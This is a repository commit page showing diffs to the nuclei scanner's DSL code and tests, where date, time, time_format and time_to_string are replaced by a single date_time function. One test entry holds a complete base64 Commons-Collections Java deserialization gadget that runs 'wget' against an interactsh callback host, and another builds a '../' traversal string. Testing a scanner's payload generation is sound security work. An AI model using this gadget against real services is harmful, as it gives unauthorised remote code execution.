External/nuclei
1
0
Fork 0
mirror of https://github.com/projectdiscovery/nuclei.git synced 2025-12-18 10:25:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

refactor: replace date, time, time_format, time_to_string DSL functions to date_time

Browse Source
This commit is contained in:
forgedhallpass 2022-06-08 17:43:52 +03:00
parent a10d58c6d2
commit ef20e0711b
2 changed files with 169 additions and 133 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

187
v2/pkg/operators/common/dsl/dsl.go
View File

@ -47,6 +47,7 @@ var invalidDslFunctionMessageTemplate = "%w. correct method signature %q"
var dslFunctions map[string]dslFunction
var functionSignaturePattern = regexp.MustCompile(`(\w+)\s*\((?:([\w\d,\s]+)\s+([.\w\d{}&*]+))?\)([\s.\w\d{}&*]+)?`)
var dateFormatRegex = regexp.MustCompile("%([A-Za-z])")
type dslFunction struct {
@ -155,66 +156,29 @@ func init() {
_ = reader.Close()
return string(data), nil
}),
"date": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
timeFormat := types.ToString(args[0])
timeFormatFragment := dateFormatRegex.FindAllStringSubmatch(timeFormat, -1)
"date_time": makeDslWithOptionalArgsFunction(
"(dateTimeFormat string, optionalUnixTime interface{}) string",
func(arguments ...interface{}) (interface{}, error) {
dateTimeFormat := types.ToString(arguments[0])
dateTimeFormatFragment := dateFormatRegex.FindAllStringSubmatch(dateTimeFormat, -1)
for _, currentFragment := range timeFormatFragment {
if len(currentFragment) < 2 {
continue
argumentsSize := len(arguments)
if argumentsSize < 1 && argumentsSize > 2 {
return nil, errors.New("invalid number of arguments")
}
now := time.Now()
prefixedFormatFragment := currentFragment[0]
switch currentFragment[1] {
case "Y", "y":
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Year())
case "M", "m":
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, int(now.Month()))
case "D", "d":
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Day())
default:
return nil, fmt.Errorf("invalid date format string: %s", prefixedFormatFragment)
}
}
return timeFormat, nil
}),
"time": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
timeFormat := types.ToString(args[0])
timeFormatFragment := dateFormatRegex.FindAllStringSubmatch(timeFormat, -1)
for _, currentFragment := range timeFormatFragment {
if len(currentFragment) < 2 {
continue
currentTime, err := getCurrentTimeFromUserInput(arguments)
if err != nil {
return nil, err
}
now := time.Now()
prefixedFormatFragment := currentFragment[0]
switch currentFragment[1] {
case "H", "h":
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Hour())
case "M", "m":
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Minute())
case "S", "s":
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Second())
default:
return nil, fmt.Errorf("invalid time format string: %s", prefixedFormatFragment)
if len(dateTimeFormatFragment) > 0 {
return doSimpleTimeFormat(dateTimeFormatFragment, currentTime, dateTimeFormat)
} else {
return currentTime.Format(dateTimeFormat), nil
}
}
return timeFormat, nil
}),
"time_format": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
t := time.Now()
return t.Format(args[0].(string)), nil
}),
"time_to_string": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
if got, ok := args[0].(time.Time); ok {
return got.String(), nil
}
if got, ok := args[0].(float64); ok {
seconds, nanoseconds := math.Modf(got)
return time.Unix(int64(seconds), int64(nanoseconds)).String(), nil
}
return nil, fmt.Errorf("invalid time format: %T", args[0])
}),
},
),
"base64_py": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
// python encodes to base64 with lines of 76 bytes terminated by new line "\n"
stdBase64 := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0])))
@ -549,37 +513,6 @@ func init() {
}
}
func toHexEncodedHash(hashToUse hash.Hash, data string) (interface{}, error) {
if _, err := hashToUse.Write([]byte(data)); err != nil {
return nil, err
}
return hex.EncodeToString(hashToUse.Sum(nil)), nil
}
func formatDateTime(inputFormat string, matchValue string, timeFragment int) string {
return strings.ReplaceAll(inputFormat, matchValue, appendSingleDigitZero(strconv.Itoa(timeFragment)))
}
// appendSingleDigitZero appends zero at front if not exists already doing two digit padding
func appendSingleDigitZero(value string) string {
if len(value) == 1 && (!strings.HasPrefix(value, "0") || value == "0") {
builder := &strings.Builder{}
builder.WriteRune('0')
builder.WriteString(value)
newVal := builder.String()
return newVal
}
return value
}
func createSignaturePart(numberOfParameters int) string {
params := make([]string, 0, numberOfParameters)
for i := 1; i <= numberOfParameters; i++ {
params = append(params, "arg"+strconv.Itoa(i))
}
return fmt.Sprintf("(%s interface{}) interface{}", strings.Join(params, ", "))
}
func makeDslWithOptionalArgsFunction(signaturePart string, dslFunctionLogic govaluate.ExpressionFunction) func(functionName string) dslFunction {
return func(functionName string) dslFunction {
return dslFunction{
@ -604,6 +537,14 @@ func makeDslFunction(numberOfParameters int, dslFunctionLogic govaluate.Expressi
}
}
func createSignaturePart(numberOfParameters int) string {
params := make([]string, 0, numberOfParameters)
for i := 1; i <= numberOfParameters; i++ {
params = append(params, "arg"+strconv.Itoa(i))
}
return fmt.Sprintf("(%s interface{}) interface{}", strings.Join(params, ", "))
}
// HelperFunctions returns the dsl helper functions
func HelperFunctions() map[string]govaluate.ExpressionFunction {
helperFunctions := make(map[string]govaluate.ExpressionFunction, len(dslFunctions))
@ -657,8 +598,6 @@ func getDslFunctionSignatures() []string {
return result
}
var functionSignaturePattern = regexp.MustCompile(`(\w+)\s*\((?:([\w\d,\s]+)\s+([.\w\d{}&*]+))?\)([\s.\w\d{}&*]+)?`)
func colorizeDslFunctionSignatures() []string {
signatures := getDslFunctionSignatures()
@ -724,3 +663,75 @@ func randSeq(base string, n int) string {
}
return string(b)
}
func toHexEncodedHash(hashToUse hash.Hash, data string) (interface{}, error) {
if _, err := hashToUse.Write([]byte(data)); err != nil {
return nil, err
}
return hex.EncodeToString(hashToUse.Sum(nil)), nil
}
func doSimpleTimeFormat(dateTimeFormatFragment [][]string, currentTime time.Time, dateTimeFormat string) (interface{}, error) {
for _, currentFragment := range dateTimeFormatFragment {
if len(currentFragment) < 2 {
continue
}
prefixedFormatFragment := currentFragment[0]
switch currentFragment[1] {
case "Y", "y":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Year())
case "M":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, int(currentTime.Month()))
case "D", "d":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Day())
case "H", "h":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Hour())
case "m":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Minute())
case "S", "s":
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Second())
default:
return nil, fmt.Errorf("invalid date time format string: %s", prefixedFormatFragment)
}
}
return dateTimeFormat, nil
}
func getCurrentTimeFromUserInput(arguments []interface{}) (time.Time, error) {
var currentTime time.Time
if len(arguments) == 2 {
switch inputUnixTime := arguments[1].(type) {
case time.Time:
currentTime = inputUnixTime
case string:
unixTime, err := strconv.ParseInt(inputUnixTime, 10, 64)
if err != nil {
return time.Time{}, errors.New("invalid argument type")
}
currentTime = time.Unix(unixTime, 0)
case int64, float64:
currentTime = time.Unix(int64(inputUnixTime.(float64)), 0)
default:
return time.Time{}, errors.New("invalid argument type")
}
} else {
currentTime = time.Now()
}
return currentTime, nil
}
func formatDateTime(inputFormat string, matchValue string, timeFragment int) string {
return strings.ReplaceAll(inputFormat, matchValue, appendSingleDigitZero(strconv.Itoa(timeFragment)))
}
// appendSingleDigitZero appends zero at front if not exists already doing two digit padding
func appendSingleDigitZero(value string) string {
if len(value) == 1 && (!strings.HasPrefix(value, "0") || value == "0") {
builder := &strings.Builder{}
builder.WriteRune('0')
builder.WriteString(value)
newVal := builder.String()
return newVal
}
return value
}

115
v2/pkg/operators/common/dsl/dsl_test.go
View File

@ -51,16 +51,44 @@ func TestDSLGzipSerialize(t *testing.T) {
require.Equal(t, "hello world", data.(string), "could not get gzip encoded data")
}
func TestTimeToStringDSLFunction(t *testing.T) {
compiled, err := govaluate.NewEvaluableExpressionWithFunctions("time_to_string(data)", HelperFunctions())
require.Nil(t, err, "could not compile encoder")
func TestDateTimeDSLFunction(t *testing.T) {
data := time.Now()
result, err := compiled.Evaluate(map[string]interface{}{"data": data})
require.Nil(t, err, "could not evaluate compare time")
testDateTimeFormat := func(t *testing.T, dateTimeFormat string, dateTimeFunction *govaluate.EvaluableExpression, expectedFormattedTime string, currentUnixTime int64) {
dslFunctionParameters := map[string]interface{}{"dateTimeFormat": dateTimeFormat}
require.Equal(t, data.String(), result.(string), "could not get correct time format string")
if currentUnixTime != 0 {
dslFunctionParameters["unixTime"] = currentUnixTime
}
result, err := dateTimeFunction.Evaluate(dslFunctionParameters)
require.Nil(t, err, "could not evaluate compare time")
require.Equal(t, expectedFormattedTime, result.(string), "could not get correct time format string")
}
t.Run("with Unix time", func(t *testing.T) {
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat)", HelperFunctions())
require.Nil(t, err, "could not compile encoder")
currentTime := time.Now()
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, 0)
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, 0)
})
t.Run("without Unix time", func(t *testing.T) {
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat, unixTime)", HelperFunctions())
require.Nil(t, err, "could not compile encoder")
currentTime := time.Now()
currentUnixTime := currentTime.Unix()
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, currentUnixTime)
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, currentUnixTime)
})
}
func TestDslFunctionSignatures(t *testing.T) {
type testCase struct {
methodName string
@ -111,7 +139,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
compare_versions(firstVersion, constraints ...string) bool
concat(args ...interface{}) string
contains(arg1, arg2 interface{}) interface{}
date(arg1 interface{}) interface{}
date_time(dateTimeFormat string, optionalUnixTime interface{}) string
dec_to_hex(arg1 interface{}) interface{}
generate_java_gadget(arg1, arg2, arg3 interface{}) interface{}
gzip(arg1 interface{}) interface{}
@ -141,9 +169,6 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
reverse(arg1 interface{}) interface{}
sha1(arg1 interface{}) interface{}
sha256(arg1 interface{}) interface{}
time(arg1 interface{}) interface{}
time_format(arg1 interface{}) interface{}
time_to_string(arg1 interface{}) interface{}
to_lower(arg1 interface{}) interface{}
to_number(arg1 interface{}) interface{}
to_string(arg1 interface{}) interface{}
@ -177,41 +202,42 @@ func TestDslExpressions(t *testing.T) {
now := time.Now()
dslExpressions := map[string]interface{}{
`base64("Hello")`: "SGVsbG8=",
`base64(1234)`: "MTIzNA==",
`base64_py("Hello")`: "SGVsbG8=\n",
`hex_encode("aa")`: "6161",
`html_escape("<body>test</body>")`: "&lt;body&gt;test&lt;/body&gt;",
`html_unescape("&lt;body&gt;test&lt;/body&gt;")`: "<body>test</body>",
`date("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
`time("%H-%M")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()),
`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
`mmh3("Hello")`: "316307400",
`remove_bad_chars("abcd", "bc")`: "ad",
`replace("Hello", "He", "Ha")`: "Hallo",
`concat("Hello", 123, "world")`: "Hello123world",
`join("_", "Hello", 123, "world")`: "Hello_123_world",
`repeat("a", 5)`: "aaaaa",
`repeat("a", "5")`: "aaaaa",
`repeat("../", "5")`: "../../../../../",
`repeat(5, 5)`: "55555",
`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
`reverse("abc")`: "cba",
`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
`to_lower("HELLO")`: "hello",
`to_upper("hello")`: "HELLO",
`trim("aaaHelloddd", "ad")`: "Hello",
`trim_left("aaaHelloddd", "ad")`: "Helloddd",
`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
`trim_right("aaaHelloddd", "ad")`: "aaaHello",
`trim_space(" Hello ")`: "Hello",
`trim_suffix("aaHelloaa", "aa")`: "aaHello",
`base64("Hello")`: "SGVsbG8=",
`base64(1234)`: "MTIzNA==",
`base64_py("Hello")`: "SGVsbG8=\n",
`hex_encode("aa")`: "6161",
`html_escape("<body>test</body>")`: "&lt;body&gt;test&lt;/body&gt;",
`html_unescape("&lt;body&gt;test&lt;/body&gt;")`: "<body>test</body>",
`date_time("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
`date_time("%H-%m")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()),
`date_time("02-01-2006 15:04")`: now.Format("02-01-2006 15:04"),
`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
`mmh3("Hello")`: "316307400",
`remove_bad_chars("abcd", "bc")`: "ad",
`replace("Hello", "He", "Ha")`: "Hallo",
`concat("Hello", 123, "world")`: "Hello123world",
`join("_", "Hello", 123, "world")`: "Hello_123_world",
`repeat("a", 5)`: "aaaaa",
`repeat("a", "5")`: "aaaaa",
`repeat("../", "5")`: "../../../../../",
`repeat(5, 5)`: "55555",
`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
`reverse("abc")`: "cba",
`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
`to_lower("HELLO")`: "hello",
`to_upper("hello")`: "HELLO",
`trim("aaaHelloddd", "ad")`: "Hello",
`trim_left("aaaHelloddd", "ad")`: "Helloddd",
`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
`trim_right("aaaHelloddd", "ad")`: "aaaHello",
`trim_space(" Hello ")`: "Hello",
`trim_suffix("aaHelloaa", "aa")`: "aaHello",
`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
`zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5",
`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
`zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5",
`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello",
`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
@ -232,7 +258,6 @@ func TestDslExpressions(t *testing.T) {
`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`: true,
`hmac('sha1', 'test', 'scrt')`: "8856b111056d946d5c6c92a21b43c233596623c6",
`hmac('sha256', 'test', 'scrt')`: "1f1bff5574f18426eb376d6dd5368a754e67a798aa2074644d5e3fd4c90c7a92",
`time_format("02-01-2006 15:04")`: now.Format("02-01-2006 15:04"),
}
for dslExpression, expectedResult := range dslExpressions {